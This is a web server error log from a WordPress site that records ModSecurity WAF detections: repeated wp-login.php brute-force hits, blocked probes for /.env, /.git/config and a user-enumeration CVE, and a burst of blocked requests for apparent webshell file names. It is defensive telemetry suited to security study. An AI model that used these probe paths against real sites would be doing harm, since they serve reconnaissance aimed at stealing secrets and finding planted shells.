[Sun May 17 08:01:15.124758 2026] [:error] [pid 59061:tid 59097] [client 14.225.206.111:39612] [client 14.225.206.111] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agkFS4YS410zAmsYkoL9xwAAAEE"]
[Sun May 17 08:03:01.602975 2026] [:error] [pid 59062:tid 59133] [client 183.81.169.101:43300] [client 183.81.169.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 183.81.169.101, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agkFtT4V9GkVWmCFmGbFegAAAIo"]
[Sun May 17 08:03:02.697588 2026] [:error] [pid 59062:tid 59124] [client 183.81.169.101:43300] [client 183.81.169.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 183.81.169.101, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agkFtj4V9GkVWmCFmGbFfwAAAIE"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 08:09:50.396011 2026] [:error] [pid 17234:tid 17239] [client 209.235.136.149:48642] [client 209.235.136.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.235.136.149, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agkHTtJ4QOrYRCeDR2gFkwAAAUM"]
[Sun May 17 08:09:51.528014 2026] [:error] [pid 17234:tid 17243] [client 209.235.136.149:48642] [client 209.235.136.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.235.136.149, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agkHT9J4QOrYRCeDR2gFlwAAAUc"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 08:17:55.426575 2026] [:error] [pid 17234:tid 17251] [client 89.117.57.170:51258] [client 89.117.57.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.117.57.170, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agkJM9J4QOrYRCeDR2gHAwAAAU8"]
[Sun May 17 08:17:56.475506 2026] [:error] [pid 17234:tid 17248] [client 89.117.57.170:51258] [client 89.117.57.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.117.57.170, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agkJNNJ4QOrYRCeDR2gHBAAAAUw"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 08:37:46.063342 2026] [:error] [pid 59166:tid 59176] [client 150.230.215.243:41198] [client 150.230.215.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 150.230.215.243, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agkN2k_puQ1I47_0Uri-OgAAAMg"]
[Sun May 17 08:37:47.156714 2026] [:error] [pid 59166:tid 59182] [client 150.230.215.243:41198] [client 150.230.215.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 150.230.215.243, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agkN20_puQ1I47_0Uri-PAAAAM4"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 08:57:49.611822 2026] [:error] [pid 59062:tid 59142] [client 89.252.139.70:34002] [client 89.252.139.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.252.139.70, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agkSjT4V9GkVWmCFmGbJ3gAAAJM"]
[Sun May 17 08:57:50.986975 2026] [:error] [pid 59062:tid 59127] [client 89.252.139.70:34002] [client 89.252.139.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.252.139.70, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agkSjj4V9GkVWmCFmGbJ3wAAAIQ"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 09:54:49.350489 2026] [:error] [pid 17234:tid 17243] [client 170.106.35.153:36844] [client 170.106.35.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agkf6dJ4QOrYRCeDR2gaCQAAAUc"]
[Sun May 17 09:55:30.017541 2026] [:error] [pid 36652:tid 36666] [client 65.0.161.248:58270] [client 65.0.161.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.0.161.248, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agkgEjZrzQadnZADvj8v-AAAAQw"]
[Sun May 17 09:55:31.304909 2026] [:error] [pid 36652:tid 36661] [client 65.0.161.248:58270] [client 65.0.161.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.0.161.248, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agkgEzZrzQadnZADvj8v-QAAAQc"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 10:01:09.295351 2026] [:error] [pid 59062:tid 59132] [client 163.44.120.29:32952] [client 163.44.120.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.44.120.29, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agkhZT4V9GkVWmCFmGbO4QAAAIk"]
[Sun May 17 10:01:10.941059 2026] [:error] [pid 59062:tid 59139] [client 163.44.120.29:32952] [client 163.44.120.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.44.120.29, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agkhZj4V9GkVWmCFmGbO5AAAAJA"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 10:16:48.053816 2026] [:error] [pid 36652:tid 36675] [client 157.180.51.37:35030] [client 157.180.51.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.180.51.37, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agklEDZrzQadnZADvj8zIAAAARU"]
[Sun May 17 10:16:49.067420 2026] [:error] [pid 36652:tid 36664] [client 157.180.51.37:35030] [client 157.180.51.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.180.51.37, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agklETZrzQadnZADvj8zJAAAAQo"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 10:54:32.897559 2026] [:error] [pid 59166:tid 59175] [client 162.55.14.61:57804] [client 162.55.14.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.55.14.61, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agkt6E_puQ1I47_0UrjMowAAAMc"]
[Sun May 17 10:54:33.875052 2026] [:error] [pid 59166:tid 59173] [client 162.55.14.61:57804] [client 162.55.14.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.55.14.61, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agkt6U_puQ1I47_0UrjMpQAAAMU"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 12:58:42.265572 2026] [:error] [pid 17234:tid 17237] [client 69.49.112.67:35966] [client 69.49.112.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.67, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aglLAtJ4QOrYRCeDR2g9pwAAAUE"]
[Sun May 17 12:58:43.754011 2026] [:error] [pid 17234:tid 17246] [client 69.49.112.67:35966] [client 69.49.112.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.67, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aglLA9J4QOrYRCeDR2g9qgAAAUo"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 13:03:23.731911 2026] [:error] [pid 36652:tid 36659] [client 192.96.159.129:64119] [client 192.96.159.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "aglMGzZrzQadnZADvj9JqwAAAQU"]
[Sun May 17 13:11:59.070087 2026] [:error] [pid 10834:tid 10869] [client 92.118.39.29:37808] [client 92.118.39.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aglOHxISNQ_Nf83-VpqGJwAAAdc"]
[Sun May 17 13:18:52.367832 2026] [:error] [pid 10835:tid 10884] [client 45.55.144.148:31000] [client 45.55.144.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.55.144.148, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aglPvEk8lW0-dtknLl_08AAAAgs"]
[Sun May 17 13:18:53.447195 2026] [:error] [pid 10835:tid 10896] [client 45.55.144.148:31000] [client 45.55.144.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.55.144.148, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aglPvUk8lW0-dtknLl_08gAAAhc"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 13:22:19.401456 2026] [:error] [pid 11079:tid 11102] [client 139.84.238.39:37980] [client 139.84.238.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.84.238.39, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aglQi2eR3-DrxhvUqxGgGAAAAkI"]
[Sun May 17 13:22:20.640699 2026] [:error] [pid 11079:tid 11119] [client 139.84.238.39:37980] [client 139.84.238.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.84.238.39, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aglQjGeR3-DrxhvUqxGgGQAAAk8"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 13:55:08.347674 2026] [:error] [pid 59060:tid 59076] [client 43.134.5.186:41102] [client 43.134.5.186] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aglYPPvwvq3bndkPE4nfAgAAAAc"]
[Sun May 17 14:16:30.835463 2026] [:error] [pid 10834:tid 10860] [client 101.33.80.42:56986] [client 101.33.80.42] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agldPhISNQ_Nf83-VpqKawAAAc4"]
[Sun May 17 14:28:36.075513 2026] [autoindex:error] [pid 10835:tid 10895] [client 194.163.140.214:51561] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun May 17 14:45:09.712190 2026] [:error] [pid 59060:tid 59071] [client 173.239.224.159:61725] [client 173.239.224.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "aglj9fvwvq3bndkPE4ng2QAAAAI"]
[Sun May 17 14:45:10.116795 2026] [:error] [pid 59062:tid 59141] [client 173.239.224.169:55951] [client 173.239.224.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "aglj9j4V9GkVWmCFmGbqswAAAJI"]
[Sun May 17 14:45:10.518368 2026] [:error] [pid 59061:tid 59096] [client 173.239.224.147:22323] [client 173.239.224.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "aglj9oYS410zAmsYkoIX4QAAAEA"]
[Sun May 17 14:45:10.928620 2026] [:error] [pid 36652:tid 36654] [client 173.239.224.172:23951] [client 173.239.224.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "aglj9jZrzQadnZADvj9M9QAAAQA"]
[Sun May 17 14:45:11.361635 2026] [:error] [pid 10784:tid 10825] [client 173.239.224.164:65337] [client 173.239.224.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "aglj92BWRlKsFkSZGxAw2gAAAZg"]
[Sun May 17 14:45:11.764123 2026] [:error] [pid 10835:tid 10896] [client 173.239.224.147:35457] [client 173.239.224.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "aglj90k8lW0-dtknLl_7twAAAhc"]
[Sun May 17 14:45:12.168348 2026] [:error] [pid 59166:tid 59191] [client 173.239.224.164:36761] [client 173.239.224.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "aglj-E_puQ1I47_0UrjejAAAANc"]
[Sun May 17 14:45:12.575664 2026] [:error] [pid 59060:tid 59084] [client 173.239.224.156:56305] [client 173.239.224.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/blurbs.php"] [unique_id "aglj-Pvwvq3bndkPE4ng2gAAAA8"]
[Sun May 17 14:45:12.980025 2026] [:error] [pid 59061:tid 59098] [client 173.239.224.151:52219] [client 173.239.224.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/akcc.php"] [unique_id "aglj-IYS410zAmsYkoIX4gAAAEI"]
[Sun May 17 14:45:13.390671 2026] [:error] [pid 59060:tid 59086] [client 173.239.224.168:61205] [client 173.239.224.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "aglj-fvwvq3bndkPE4ng2wAAABE"]
[Sun May 17 14:45:14.640606 2026] [:error] [pid 59061:tid 59115] [client 173.239.224.174:20319] [client 173.239.224.174] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/shelp.php"] [unique_id "aglj-oYS410zAmsYkoIX5AAAAFM"]
[Sun May 17 14:45:16.055071 2026] [:error] [pid 59166:tid 59189] [client 173.239.224.148:61101] [client 173.239.224.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cord.php"] [unique_id "aglj_E_puQ1I47_0UrjejQAAANU"]
[Sun May 17 14:45:16.463000 2026] [:error] [pid 59061:tid 59100] [client 173.239.224.154:60317] [client 173.239.224.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/dex.php"] [unique_id "aglj_IYS410zAmsYkoIX5QAAAEQ"]
[Sun May 17 14:45:16.871864 2026] [:error] [pid 59060:tid 59089] [client 173.239.224.156:25305] [client 173.239.224.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aglj_Pvwvq3bndkPE4ng3QAAABQ"]
[Sun May 17 14:45:17.272853 2026] [:error] [pid 10835:tid 10897] [client 173.239.224.158:32107] [client 173.239.224.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "aglj_Uk8lW0-dtknLl_7uAAAAhg"]
[Sun May 17 16:30:58.237859 2026] [:error] [pid 11079:tid 11128] [client 103.28.36.200:50796] [client 103.28.36.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.200, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agl8wmeR3-DrxhvUqxHHnQAAAlg"]
[Sun May 17 16:30:59.319641 2026] [:error] [pid 11079:tid 11116] [client 103.28.36.200:50796] [client 103.28.36.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.200, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agl8w2eR3-DrxhvUqxHHogAAAkw"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 17:09:05.258034 2026] [:error] [pid 10834:tid 10863] [client 103.163.246.205:44224] [client 103.163.246.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.163.246.205, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agmFsRISNQ_Nf83-VpqbVgAAAdE"]
[Sun May 17 17:09:10.496277 2026] [:error] [pid 10834:tid 10861] [client 103.163.246.205:44224] [client 103.163.246.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.163.246.205, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agmFthISNQ_Nf83-VpqbWAAAAc8"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 17:21:49.057571 2026] [:error] [pid 10784:tid 10825] [client 162.241.224.236:43606] [client 162.241.224.236] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agmIrWBWRlKsFkSZGxA88wAAAZg"]
[Sun May 17 17:44:41.928166 2026] [:error] [pid 59061:tid 59105] [client 162.62.231.139:57130] [client 162.62.231.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agmOCYYS410zAmsYkoIiggAAAEk"]
[Sun May 17 19:12:36.364039 2026] [:error] [pid 59062:tid 59140] [client 34.84.51.38:59482] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "agmipD4V9GkVWmCFmGYTqAAAAJE"]
[Sun May 17 19:12:37.892392 2026] [:error] [pid 10834:tid 10853] [client 34.84.51.38:43348] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "agmipRISNQ_Nf83-VpqlDgAAAcc"]
